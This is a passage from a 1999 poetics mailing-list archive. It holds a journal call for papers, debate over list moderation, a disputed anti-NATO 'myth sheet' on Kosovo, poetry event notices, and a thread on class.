legitimacy is associated with a deeply ingrained suspicion of 'foreign' influences, so that even where regionalism is valued it tends to be invoked as a populist defence against European experimentalism and American excess. And it is not always clear whether a poet's work is given as regional or radically marginal because it engages with the linguistic and political pressures of non-centralized identity, or simply because the poet has a tenuous association with a marginal site. In _Devolving English Literature_, Robert Crawford wants to affirm the virtues of 'provincial' writing against what he sees as a dominant and exclusive metropolitan culture; yet his preferred exponents of regional identity tend to be poets who, although having Welsh, Irish, or Scottish family origins, are granted cultural legitimacy by conforming to the only poetic 'voice' acceptable to metropolitan publishing houses such as Faber: an ironic lyric style relatively untroubled by the translatability of language or personal experience and endorsing aptness of metaphor as the fundamental mark of poetic value. Crawford's provincial/metropolitan opposition is itself bogus in that it elides the problem of complicity: the notion of the provincial is an invention of the metropolitan bourgeoisie, and its use calls into question Crawford's ability to analyze the politics of poetry beyond a centralist point of view. The position here is both metropolitan and imperialist in that 'provincials' become the subjects of sentimental regard as long as they communicate in the accepted terms; otherwise, they are ignored or denounced. The marginal is invited into the mainstream or preserved as marginal value by the mainstream only when it gives up its attachment to difference. For late modernists, on the other hand, difference cannot be translated, only approximated. The poem is a construction which makes the reader aware that every translation is an appropriation. It could be argued, however, that the implied reader of this poetry is just as 'metropolitan' as Crawford's democrat. But, while the two positions are not as clear cut as our description suggests, they do represent fundamentally opposed views of poetry's function in modern society. For what we are calling late modernism, poetry can only become a radical force by resisting consumer culture and its appeal to the 'short attention span' of its audience; for postmodernism, poetry can only prevent itself from being marginalized or completely ignored by competing with more marketable forms of cultural production. While the former continues to be reviled by the mainstream publishing houses and literary organs as too rarefied to be of popular interest, the latter is itself beginning to fall foul of market pressures. The current hoo-haa over Oxford University Press's axing of its poetry list shows that the mainstream is somewhat more marginal than its proponents have imagined. Even so, poetry is flourishing as never before through public readings, small publishers and magazines, and via the Internet. Although these networks might be said merely to affirm poetry's marginalized status in an era of global markets, they nevertheless lay claim to the cultural value of independent means of production. (A modern irony being that small-press material has frequently out- sold 'major' publications.) And, if these networks originate from local or marginal groupings, they are anything but narrow in their reach. They have inaugurated a new internationalism in poetry which goes some way to confound the old coteries and critical demarcations. The use of new technology has revitalized traditional media by lowering production costs and has created alternative forms of distribution. Australia, for example, has become a new poetic centre. Through magazines such as John Kinsella's _Salt_, James Taylor's _Boxkite_, and (on the Internet) John Tranter's _Jacket_, it has increased international recognition for Australian writing while creating strong links with poets in France, Britain and the United States. The aim of this issue of _Angelaki_ is to collect a wide range of critical essays addressing the current state of international poetry. We invite contributions addressing the general questions raised above, and we hope to encourage debate about the history and ideology of modern poetic forms and institutions. Far from being taken as read (which is unlikely considering the partisan nature of the subject), the remarks made here should be seen as the springboard for argument and clearer definition. The issue will also include new poetry. * * * Submission Information ~~~~~~~~~~~~~~~~~~~~~~ _Angelaki_ is a peer-reviewed journal. ABSTRACTS of 1000 words by APRIL 30 1999. Abstracts to be sent to the below material address, or e-mailed to: greenway@angelaki.demon.co.uk If e-mailing, please ensure that you put 'Angelaki 5.1' in the subject line. FINAL MATERIAL (full essays) for peer review by JUNE 30, 1999. Essays must be sent in duplicate (double-spaced, paginated) to: Dr Anthony Mellors 59 Orchard Drive Durham DH1 1LA UNITED KINGDOM * * * About ANGELAKI ~~~~~~~~~~~~~~ _Angelaki: journal of the theoretical humanities_ is a print journal published three times a year by Carfax Publishing Limited. The journal publishes two theme issues and one general issue per volume. ISSN: 0969-725X. _Angelaki_ was selected Best New Journal in the 1996 Council of Editors of Learned Journals Awards. For further details of the journal and contents listings please visit: http://www.carfax.co.uk/ang-ad.htm "Since its inception in 1993, the journal _Angelaki_ has established itself as a leading forum of theoretical reflection, providing a practical refutation of all those who would celebrate 'the end of theory.' Whether it is focused on thematic issues of the most varied nature, introducing thinkers to English-language readers, or treating a variety of problems in open issues, _Angelaki_ challenges the complacency of the self-evident. Required reading for the next millennium." Samuel Weber Please distribute this call Gerard Greenway managing editor A N G E L A K I journal of the theoretical humanities Carfax Publishing Limited http://www.carfax.co.uk/ang-ad.htm 44 Abbey Road E greenway@angelaki.demon.co.uk Oxford OX2 0AE F +44 (0)1865 791372 United Kingdom T +44 (0)1865 793891 ========================================================================= Date: Sat, 3 Apr 1999 17:55:17 PST Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: "m a t t..." Subject: Re: No I Comments: To: webart@onelist.com, wr-eye-tings@sfu.ca Mime-Version: 1.0 Content-type: text/plain [emgarrison@uswest.net designed] >P E A C E > >Two consanants > >Three vowels > >No I >----- > > >Beth > beautifully put beth. here's something: k[no]wledge ig[no]rance name:[matt...] email:[runawayslinky@hotmail.com] url:[http://emo.abysmal.net/~circle] statement:[leaves will fall and so shall we] Get Your Private, Free Email at http://www.hotmail.com ========================================================================= Date: Sat, 3 Apr 1999 22:06:42 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Poetics List Administration Subject: A Reply to Kent Johnson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Kent - As you know, I withheld your message of friday until today; it having been addressed to me by name, I felt it my due at least to have the chance to read it before sending it on. Now that I have read it, I can say that - if not gladly - I'm willing to respond to your questions this once, despite the fact that where they lead may be, whatever your assurances, "another round of angry accusation." On this count, I leave it to other members of the list to judge for themselves how the rhetorical tactics you deploy in such phrases as "B92ed from the List" etcetera balance with those assurances. Your basic questions, I take it, are these: 1. Does the enactment of the List's "ideological character" mandate, in addition to your daily surveillance of posts, the denial of subscription rights to certain poets? 2. IF it is true that there have been poets "ideologically" excluded from List membership, isn't it actually the case... that you ARE, in practice, preventing posts that might "provoke consideration or sustained argumentation" from coming to the List's attention? My reply is simply this, that the *specific* ideological cast that you and your friends have wished to give this issue is a gross distortion, and tiresome; and that the supposed intellectual or poetical differences that have comprised this debate are neither. Instead, we - by which I mean the owners of this list and its subscribers - have been met time and again with an empty rhetoric of "free speech" so twisted as to support the grossest domination; coupled with sustained inappropriate behavior toward list administrators and fellow subscribers, as the case may be. I reserve, as do all listserv moderators, the right to remove from the list and to deny further subscription privileges to any subscriber who will not abide by the rules of the list as set out in the Welcome Message; and this includes "problem" subscribers that were removed or resigned their subscriptioins before I took on the task of list moderation. I use the words "subscription privileges" pointedly - as a little [electronic] bird just reminded me, list membership is a privilege, never a right. The obligation to remove such subscribers from the list is one I take very, very seriously; so much so that I want to address the specific formulation of the two questions I've quoted above, in order to be absolutely clear. In the first, you ask me if it is true that the fact of moderation on this list mandates "the denial of subscription rights to certain poets." To this I would have to reply that the task of list management has to do with subscribers, and not "poets" as such; and that the implication that anyone has been removed from this list for reasons other than their behavior on this list is certainly false. In the second question, you attempt to demonstrate a flaw in the logic of my earlier claims, to the effect that my actions here *are* preventing discourse on this list. In answer to this, please refer to my preceding characterization of the "contributions" to which you evidently refer. Those who wish to know more may consult the Poetics List archive, located on the web at . So in fact, Kent, as you suggest in your post, your questions are informed by faulty assumptions. I would go so far as to say that even the assumption that these are questions - of the kind that want answering - would be faulty. What you seem to want, rather than answers, is to make further accusation; and the tenor of your questions bears this out. What I want is to preserve this list, so shaken by the actions of a small group of subscribers, some of whom evidently employed precisely the sort of tactics you employ in this post, if perhaps less subtly; and whose abuses of this list and its members directly precipitated my appearance as moderator. Now this issue has been given enough time on-list; we have wasted enough bandwidth. To think that 600 people would want to be subjected to "another round of angry accusation," however cooly made, is too much; not to mention my own time, which is precious to me. Chris % Christopher W. Alexander % poetics list moderator ========================================================================= Date: Sat, 3 Apr 1999 19:48:44 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Mark Weiss Subject: Re: Five Myths of NATO's war In-Reply-To: <48C5214C33@student.highland.cc.il.us> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Surely the source of this is somewhere in the bowels of the Milosevic propaganda machine? Among the distractions here: we don't villify Hitler because he crossed borders--that's far too commonplace a behavior--but because he practiced genocide. While the expulsions of whole populations may not be technically gennocidal, it's a pretty close relation. He who does this, repeatedly, demonizes himself. That others have done so is rather beside the point. US interest: If in fact we control the rest of the Balkan Penninsula, what difference does the enmity of the Serbs make to us? Are we concerned that they will ally themselves with a superpower like Angola? How can the Serbs either help or hinder us? The US has reasons for being there, not all of them altruistic, but this aint one of them. Capitalist plot to control the news: curiously, a lot of news outlets are adamantly opposed to the bombing, a lot of others are doubtful, and these among those most identifiable with Big Business. Likewise resistance in Congress. One can disagree about the action and its efficacy, but not, I think, on these grounds. At 01:14 PM 4/3/99 -0500, you wrote: >The following is taken from Z Net > >http://www.lbbs.org/ZNETTOPnoanimation.html. > >While a clearer acknowledgment of the long-standing repression >suffered by the Kosovar Albanians would have added much to the >balance of this "Myth Sheet," the points made are certainly >thought-provoking and prompt urgent questions about NATO's actions >and the motivations behind them. > >Kent >---------------------------------------------- > >The US/NATO War in Yugoslavia: Five Myths > >Myth #1. U.S./NATO had to attack "the Serbs" because the Yugoslav >government and President Slobodan Milosevic refused to negotiate on >Kosovo, a region of Yugoslavia where ethnic Albanians are the >majority. > >Reality: U.S./NATO bombs are falling on all Yugoslavs: Serbians, >Montenegrins, Albanians, Hungarians, Romanis and other peoples who >make up the multiethnic Federal Republic of Yugoslavia. There were no >"negotiations." U.S. officials like Secretary of State Madeleine >Albright, went out of their way to make this point when "peace talks" >were held in France in February. Instead, there was an ultimatum >presented by the U.S. government to the Yugoslav government that had >three points: 1) Kosovo must be granted autonomy; 2) NATO must be >allowed to station 30,000 ground troops in Yugoslavia to ensure this >autonomy; and 3) A NATO-conducted referendum for Kosovo's independence >from Yugoslavia would take place within three years. The Yugoslav >government agreed to the first condition, and rejected the second and >third, saying they were a gross violation of their sovereignty and the >independence of their country. > > > >Myth #2. Yugoslavia is the aggressor in this conflict and Milosevic is >a "new Hitler." > >Reality: No Yugoslav soldiers, planes or ships are attacking another >country. The conflict in Kosovo is an internal issue. A developing >country of 10 million people, Yugoslavia is being attacked by 19 >countries, including the biggest military powers in the world, which >have a combined population of more than half a billion people. >Milosevic has been demonized much like Saddam Hussein is. As a State >Department official said, "the demonization of Milosevic is necessary >to maintain the air attacks." (S.F. Chronicle, Mar. 30, 1999) > > > >Myth #3. Clinton, Albright and the Pentagon generals were moved to >action by their concerns about "ethnic cleansing" and human suffering. > > >Reality: The U.S., Germany and other NATO powers played a key role in >breaking up Yugoslavia in 1991-92, arming and supporting secessionist >movements. For 45 years after World War II, the many nationalities >that made up Yugoslavia lived together in peace. In the civil wars, >which followed the break-up of Yugoslavia, there was much bloodshed >and human rights violations on all sides. The biggest single act of >"ethnic cleansing" was the forced removal of 600,000 Serbs from the >Krajina region of Croatia (a former Yugoslav republic) by the >U.S.-trained and armed Croatian military in 1995. More than 55,000 of >these Serbs, who were resettled in Kosovo, are among the hundreds of >thousands of people made refugees by NATO bombing and the conflict in >Kosovo. (Julia Taft, Asst. Secretary of State on C-SPAN, 3-29-99) The >U.S. "concern" about removal of people from their homeland is very >selective. This is not surprising: Virtually the entire continent of >North America was "ethnically cleansed" of Native people to make way >for the U.S. and Canada, two of the NATO powers. U.S. policy has >supported, with arms and money, the removal of Kurdish people in >Turkey, Palestinians, East Timorese, Guatemalan indigenous people -- >and the list goes on. > > > >Myth #4. The U.S./NATO goal is to protect the rights of the >predominantly Muslim Albanians in Kosovo. > >Reality: U.S. officials pretend to care about the rights of Muslim >people in Yugoslavia, while their policy of sanctions and war kills >300 Iraqis every day -- half children under 5 years old. Most Iraqis >are Muslims. > >The Pentagon is not a humanitarian relief agency and the >corporate-owned politicians don't really care about any people -- >Albanians, Serbs, Kurds, Iraqis, or the poor and working people of >this country. > >This war is killing people of all nationalities in Yugoslavia, and >poisoning their land with radioactive depleted uranium (DU) weapons. >Hundreds of thousands of Iraqis, U.S. veterans and their families are >suffering from Gulf War Syndrome as a result of depleted uranium >poisoning. The Clinton administration and the Pentagon talk about >"supporting our troops" before they go into battle, but then deny >medical benefits to veterans who suffer from the after-effects of >Agent Orange from Vietnam or DU from Iraq. > >This war will cost many billions of dollars, money stolen from >housing, health care, education and other social programs. Each cruise >missile costs $1 million. The only ones who will benefit from this war >will be the military-industrial complex and big business. > >The real U.S./NATO goal is to break Yugoslavia into ever-smaller >pieces and bomb its people into submission. The Balkans is a strategic >region, a crossroads between Western Europe and the oil-rich Middle >East and Caspian Basin. The U.S. has established, in only 5 years, >military domination of the former Yugoslav republics of Croatia, >Bosnia and Macedonia, as well as Hungary and Albania. The only >hold-out has been what is today the Federal Republic of Yugoslavia. >This is the real reason why Yugoslavia has become the target in the >Balkans, just as it is the real reason that Iraq has become the target >in the Persian/Arabian Gulf region. > > > >Myth #5. U.S. news reports are balanced and impartial, giving us the >true story. > >Reality: What we see today is a gross distortion of the facts. The >media is dominated by big business interests, and functions as a >Pentagon propaganda machine. For political purposes, the suffering of >only one group, the refugees leaving Kosovo, is shown, while the other >Yugoslav victims of the NATO bombing are virtually ignored. The New >York Times, CNN, ABC, CBS, NBC, The Chronicle Examiner, and others >have given a very slanted view of events in Yugoslavia, to justify the >massive bombing. General Electric, one of the country's largest >military contractors which supplies engines for NATO jet fighters, >owns NBC and co-owns MS/NBC. > >Volunteers and donation are needed! > > Contact us to receive a copy > of the 1998 IAC book > NATO in the Balkans > > International Action Center > 39 W. 14th St., #206 > New York, NY 10011 > (212) 633-6646 > fax: (212) 633-2889 > http://www.iacenter.org > email: iacenter@iacenter.org > > ========================================================================= Date: Sat, 3 Apr 1999 23:08:43 -0700 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: derek beaulieu / house press Subject: Re: Relation of Web/hypertext ed. to book sales MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit well i know that coach house books has certainly had success from web publishing - check them out at www.chbooks.ccom hope that helps yrs derek -----Original Message----- From: Loss Pequen~o Glazier To: POETICS@LISTSERV.ACSU.BUFFALO.EDU Date: Saturday, April 03, 1999 7:20 PM Subject: Relation of Web/hypertext ed. to book sales >We are engaged in a project creating a hypertext edition of a book and have >run >into resistance from the publisher. If anyone knows of a citation that >supports >the argument that a web version of a book increases sales of the book itself, >or any similarly useful info for arguing this point, any suggestions would be >most welcome! Thanks ... > ========================================================================= Date: Mon, 5 Apr 1999 05:14:20 +0000 Reply-To: baratier@megsinet.net Sender: UB Poetics discussion group From: David Baratier Organization: Pavement Saw Press Subject: Re: added to antin MIME-version: 1.0 Content-type: text/plain; x-mac-creator=4D4F5353; x-mac-type=54455854; charset=iso-8859-1 Content-transfer-encoding: 8BIT Considering the topic of National Poetry month was brought up I have a piece which fits in. I know some of you have seen portions of this series and for those who haven't, I have become friendly with a prophecy telling machine named Estrella. She is gorgeous and everybody loves mystery. It has become an expensive habit. I will be moving the 10th of this month as a result, backchannel for address. This has ruined my life. Be well David Baratier -------- Estrella’s Prophecies #52 Buy so much poetry this month that you can fiscally understand poetry month. Jonathan Galassi needs the money and decent non-honkey panelists. Buy a lot of white lady with the rest of the money because you think good writers shoot dope. Use a clorox clean needle as that sex-poem poet is more than words. When they take you away to the poetry rehabilitation center you will be de-programmed and finally learn Borders cannot carry excellent poetry. Drop another coin in the slot and I will tell more. ========================================================================= Date: Mon, 5 Apr 1999 05:18:02 +0000 Reply-To: baratier@megsinet.net Sender: UB Poetics discussion group From: David Baratier Organization: Pavement Saw Press Subject: reading MIME-version: 1.0 Content-type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353" Content-transfer-encoding: 7bit Columbus Ohio: Annie Finch is reading at Larry's tomorrow (Monday) night. Please make a special effort to be there. She teaches Creative Writing at Miami U/Oxford Ohio and her book Eve from Story Line Press has gotten attention. Her other books include The Ghost of Meter: Culture and Prosody in American Free Verse (Michigan, 1993); A Formal Feeling Comes: Poems in Form by Contemporary Women (Story Line, 1994); and After New Formalism (Story Line, 1998). She is translating the poetry of Louise Labe and working on a multimedia CD-Rom of Eve. Annie is driving in from Cincinnati, leaving her wee ones and the universtiy for a venue that is not her normal scene. ========================================================================= Date: Sun, 4 Apr 1999 11:13:51 EDT Reply-To: TBeck131@aol.com Sender: UB Poetics discussion group From: Tom Beckett Subject: The Iron Law of Oligarchy MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit One of the things which sticks with me from the Introduction to Political Science class I attended in 1971 at Kent State University (one of those midlevel State institutions recently derided on this list) is sociologist Robert Michel's Iron Law of Oligarchy--the idea that power inevitably tends to concentrate in the hands of a few.The essence of democracy is the fight against that tendency. Every time this list excludes a participant or censors a message the body politic is scarred. My wish is that more people participate in the poetics exchanges and that the personal vitriol be held in check. Jessica P.'s recent post about ambitions running rampant seems very much to the point. I share her frustrations. Tom Beckett ========================================================================= Date: Sun, 4 Apr 1999 12:32:19 -0600 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: derek beaulieu / house press Subject: filling Station Magazine: "Gas Jockeys Unite!" Comments: To: Undisclosed.Recipients@mail3.cadvision.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000D_01BE7E97.C7C39E00" This is a multi-part message in MIME format. ------=_NextPart_000_000D_01BE7E97.C7C39E00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable filling Station Magazine is very excited to announce; "Gas Jockeys Unite!: Celebrating 5 years and 15 issues of filling = Station Magazine" April 17th 7:30 Carpenter's UNion Hall 310 10th St. NW Calgary, Alberta a musical and poetic celebration with readings by: Richard Harrison Jeff Derksen Suzette Mayr tom muir Rob Moffat of SAGE Theatre and musical performances by: Shecky Forme The Anne Loree Band Los Morenos this is a licenced event, $8.00 cover contact derek beaulieu (housepre@cadvision.com) or coutrney thompson = (cfthomps@cadvision.com) for more information. ------=_NextPart_000_000D_01BE7E97.C7C39E00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
filling Station Magazine is very = excited to=20 announce;
"Gas Jockeys Unite!: = Celebrating 5 years=20 and 15 issues of filling Station Magazine"
April 17th 7:30
Carpenter's = UNion=20 Hall
310 10th St. NW
Calgary,=20 Alberta
 
a musical and poetic celebration = with=20 readings by:
Richard Harrison
Jeff Derksen
Suzette Mayr
tom muir
Rob Moffat of SAGE = Theatre
 and musical performances by:
Shecky = Forme
The Anne Loree Band
Los Morenos
 
this is a licenced event, = $8.00 cover
contact derek = beaulieu (housepre@cadvision.com) or = coutrney=20 thompson (cfthomps@cadvision.com)=20 for more information.
 
------=_NextPart_000_000D_01BE7E97.C7C39E00-- ========================================================================= Date: Sun, 4 Apr 1999 15:13:24 -0400 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: James Sherry Subject: Hypertextual Versions Relation to Book Sales In-Reply-To: <199904040509.AAA14133@mail2.panix.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Loss, You should contact the folks at Eastgate systems who do some of the best hypertext publishing. They will have the statistics, I'm sure. James ========================================================================= Date: Sun, 4 Apr 1999 15:58:22 EDT Reply-To: Dougolly@aol.com Sender: UB Poetics discussion group From: Douglas Oliver Subject: Re: class MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I'm made constantly aware that Americans and Brits use the word "class" in different senses. Though even in Britain things have become more fluid, when you meet the real ruling classes -- as defined in those chauvinistic terms -- you are in absolutely no doubt, for it begins in their schools. Still, when James Sherry says that no one on this list can be called ruling class, I recognise the cogency of his remarks but then go blank a moment. I have lived most of my life without many possessions or too much money (Alice and I live in a tiny two-room apartment in Paris) but I'm clear that I am a member of the ruling class. That's because I refuse to consider the question of class in anything but world terms. I simply won't do it. First, let me allow for the really disadvantaged in the Triad countries: I can't speak for them. But, for myself, it's obvious that in comparison with billions of people in the Third World -- the huge majority in the world -- I am decidedly upper class. Also, in terms of being a member of a country and of coalitions which impose their politics and economics on the rest of the world by force if necessary I am a member of the ruling class. Until Western poetry really takes those facts on board it will not, in my view, have a deep view of class. This is not piety on my part (and anyway I'm sure James has thought of this a million times himself). It's just that I cannot bear to island this argument, making of it a convenient national territory where I can feel comfortable either with my standard of living or my poetry. Doug Oliver ========================================================================= Date: Sun, 4 Apr 1999 17:13:51 -0400 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: A H Bramhall Subject: Poetics In A Gaseous State MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit intention isn't process. just say stuff, don't say that you're saying stuff. (war is a picture of determination. bomb/ nothing in doubt.) every barrier has its day. lurking some where, I have been drifting, expecting what I would never expect. find it timely to find. --Allen Bramhall, just trying to make doubt safe for the entire world ========================================================================= Date: Sun, 4 Apr 1999 21:34:22 -0700 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Mark Weiss Subject: Query Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" I'd appreciate a backchannel of Rachel Levitsky's current snailmail--I owe her a book. Mark Weiss ========================================================================= Date: Mon, 5 Apr 1999 11:04:29 +0100 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: John Cayley Subject: whatsoever we serve Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" I've finally made an html version of a short essay (with some added paratextual paraphernalia) which was written for *Mute* (no. 11), 'Of Programmatology'... This is at: . Can I take this opportunity to recommend this magazine again to those of you who may not have seen it, but take an interest in art and digital culture. The latest issue is number 12, and it includes many fine articles on, for example regulation and the net and the 'new' avant-frontier of biotechnological engagements. *Mute* did surface in UK news agents for a time. Better stockists should have it. Information from: I have also put up a more specialist essay on transliteration at: . A version of this essay will also appear in "Gravitational Intrigue: an anthology of emergent hypermedia," the forthcoming (CD Rom/Web-based) vol 22 of *The Little Magazine*. Inquiries: . Both these essays probably need 4.0x browsers and screens that are at least 800x600. Apologies if you receive this message more than once. ========================================================================= Date: Mon, 5 Apr 1999 09:23:26 -0400 Reply-To: levitsk@ibm.net Sender: UB Poetics discussion group From: Rachel Levitsky Subject: Minnie Bruce Pratt MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Please join us for a Reading and a Book Party Celebrating Minnie Bruce Pratt at the release of her new book of poetry: Walking Back Up Depot Street from the University of Pittsburgh Press Location: International Action Center, 39 West 14th Street Suite 206 New York, NY 10011 Date: Saturday, April 10 Time: 7 p.m. For More Information: 212-633-6646 Books will be on sale *** Proceeds from sale of books will be donated to Millions for Mumia, the campaign to stop the execution of Mumia Abu-Jamal Advanced praise for the book: "This ambitious work which brilliantly uses biography, historical documents, newspaper reportage, oral history, fragments from testimony and interviews, never lets the reader down, not as art or as evidence....here, writing her greatest poems, a 'heart of flesh' is earned by consciousness of the powerful interrelated and often buried forces that connect us and shape who we are." --Toi Derricotte, author of "Black Notebooks" and "Tender" ========================================================================= Date: Mon, 5 Apr 1999 10:48:01 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Poetics List Subject: Re: email charges / Krick MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit This message came to the administrative account. Chris ----- From: jkrick@ComCAT.COM Date: 4/4/99 10:50 AM -0400 Dear Poetics List, I searched the House web site for specific information about this the bill John Lowther refers to and found: Don Young, an Alaskan representative has posted three letters on his web site, each titled "Internet Access Charges": http://www.house.gov/donyoung/issues.htm Rep Young's letters explain the issue of "reciprocal charges" between phone companies pretty clearly. Arizona representative Jim Kolbe has also introduced a bill that would prohibit per minute charges for Internet access. Maybe this one deserves our support. You can read a release about it at: http://www.house.gov/apps/list/press/az05_kolbe/pr_990330_internet.html John Krick ========================================================================= Date: Mon, 5 Apr 1999 11:29:16 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Joe Amato/Kass Fleisher Subject: Re: class In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" douglas oliver: a fine sentiment, given that the yearly avg. global income is (i believe) hovering around $2500 (u.s. equivalent, and sorry for putting it this way)... also, i take your point about british pedigree... still---and while my mind went blank a bit too after reading james s's post (hi james!)---i'll have to depart ultimately from the upshot of what you're saying, douglas: there are class differentials here in the states that are monumentally unjust... and there are class differentials here in the states that are less so, if nonetheless unjust... and i feel compelled here to exhort those who find themselves in the u.s. to begin to find a way to talk about these differences, b/c it's simply too easy (yes---easy) *only* to point our fingers at other countries and allege the enormous injustices there (with our words or deeds) while the injustices here (class-based, and as i've posted here before, entirely wound around race and gender and so forth) go unchallenged... reminds me in fact of a character in dickens's _bleak house_--- well i'll skip the literary allusions... also, while i'm at: i may as well depart a bit from other posts, other excellent posts on this thread, in which the desire to complicate money issues as such strikes me at times as an aversion to discussing said issues... i.e., if there is room for structural-economic analysis, for rethinking distribution of wealth, there is room too for more earthbound analyses... yes, class is indeed tricky b/c it's fluid---but fluidity does not erase memory, and memory is one sign of difference and identity... so, i'm with kathy lou and others on this---i can usually detect in short order when i'm dealing with someone whose (e.g., u.s.) pedigree is owing to a real difference in economic class... having been OF the u.s. working classes, having lived IN poverty (by u.s. federal standards) for some years, and having found mself of late in comfortable if markedly unstable u.s. middle-class confines (one mark of which may be---and here i must be parenthetically public abut this---that kass (above) and i recently filed chapter 7) has perhaps provided me with this... ability?... for me, i find that it's also a matter of being 1st generation american (my mother a french citizen, merchant class *prior to* wwii), and second on my father's side (italian, poor)... again, i don't wish to be too much "myself" in all of this, but i find accounting for oneself (as douglas has, in fact) to be an important, even urgent part of the discussion... not confessions, no, not even disclosures---just a sense of where, as we used to say, one is coming from... alla that said, i *do* appreciate douglas's global provocation... best, joe ========================================================================= Date: Mon, 5 Apr 1999 10:38:12 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: "Pritchett,Patrick @Silverplume" Subject: Re: Joan Retallack at DU MIME-Version: 1.0 Content-Type: text/plain > Dante met Beatrice > (bitter memory discarded) > though his body remained on the earth > & wept in the rain > > > THE 1998-99 > LEO BLOCK LECTURE SERIES > PRESENTS > > JOAN RETALLACK > > poet, > associate of the Bard Institute > for Writing & Thinking, > professor at U. of Maryland > & > author of > MUSICAGE: Cage Muses on Words.Art.Music, > Afterrimages, Errata 5uite, > and How to Do Things with Words > > > April 16 > TALK 4PM > READING 7:30 > > South Renaissance Room, > Mary Reed Building, > University of Denver Campus. > > April 17 > WORKSHOP 2-4PM > > Dupont Room, > Mary Reed Building, > Uof Denver Campus > > Questions? call 303 837 0557 ========================================================================= Date: Mon, 5 Apr 1999 13:13:19 -0400 Reply-To: levitsk@ibm.net Sender: UB Poetics discussion group From: Rachel Levitsky Subject: Re: wartime activities/class/book party MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit I had meant to post this one: Dear List, First I’d like to thank all the folks who have been posting on the war, Charles B., Kent J. Etc. and nod to Doug Oliver’s clear statement about class. Capital comes in many forms, for those of us who have the priviledge of chosing some forms and not other less palatable ones. Worthwhile to keep in mind the penniless noble. My computer is all but useless just now so getting email is an activity that takes a whole day so I’m late in getting the following information out, but alas: Minnie Bruce Pratt is the author of _S/He_, Rebellion, Crimes Against Nature (Lamont Selection, 1989). She has published a new collection called _Walking Up Depot Street_ though the Pitt Poetry Series. I urge you to read this book which carries the reader though a wildly dimensional landscape via an internal and external descent into the female, working class south. Please come to a Book Party for Minnie Bruce Pratt whick will take place at the International Action Center, 39 West 14th Street, between 5th and 6th Avenues, this Saturday evening, April 10 at 7:00 pm call 212-633-6646 for info proceeds from book sales will be donated to Millions for Mumia, the campaign to stop the execution of Mumia Abu Jamal From the poem “A&P”: “She rolled a tomato in her hand, pink rubber ball engineered to fit a machine. The motion recalled Florida, toward the Glades, Pahokee, Belle Glade, fields to the horizon, crawling with tomato plants, and the proportion all wrong between the rows: wide enough for a truck to drive through. A truckload of migrant workers, Cuban, Haitian, Jamaican, perhaps Creek, Seminole, turning rolling to a dark spot on the horizon, stopping somewhere, the next unpicked spot the same, on the row, assembly line.” ========================================================================= Date: Mon, 5 Apr 1999 13:20:59 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Joe Amato/Kass Fleisher Subject: Re: The Iron Law of Oligarchy In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" tom beckett's recommendation to 'hold personal vitriole in check' (i paraphrase) draws me out of lurk (again!), esp. as tom asserts that "[e]very time this list excludes a participant or censors a message the body politic is scarred"... i'm in sympathy with the latter, but see it as an ideal, predicated in fact on the former... and to give the discussion here, online, a practical bent (and w/o wishing to dredge up the poetics controversy of months past), i'd like to ask, rhetorically, how many of you have spent any time on usenet?... b/c there's generally a profound difference twixt usenet groups and lists such as these (moderated or unmoderated)... one reason why i don't bother with usenet these days is b/c of the deplorably unchecked AND uncensored nature of what goes on there... i speak in *broad sweep* of course (alan sondheim can speak more directly to this issue), but if you think you'd really like to see an unchecked and uncensored discussion c. 1999, please do have a look at usenet... i'm using the word "uncensored" in an admittedly narrow sense to mean, not only does no one stop what is said from being said (b/c no one really can), but there is NO encouragement (let alone moderation) by anyone in a position of responsibility to the effect that some things might be better left unsaid (yes, i'll say it---hate speech falls into this category of course, esp. in a public forum where anybody can say anything and everything)... on those usenet groups that purport to deal with some of the more sensitive issues we deal with here (such as race, say) the discussion (if you can call it that) can be utterly revolting... so i think spending some time on usenet may make that much clearer the need---at times---for SOME form of moderation (aka "censorship"), whether "full" or "partial" or someone in charge (as it were) just plain urging us to cool down... but don't take my word for it... head over to igc:soc.cult.af.am */ (or wherever) and see for yourselves... i'm against censorship in general, but perhaps this is more a comment on the nature of our public domain... and after all: there is much, i venture, that we'd all of us agree should not be posted in a public establishment (and in fact and contra the 1st amendment, there are laws to prevent such stuff from being posted)... best, joe ========================================================================= Date: Mon, 5 Apr 1999 12:28:38 -0700 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Mark Weiss 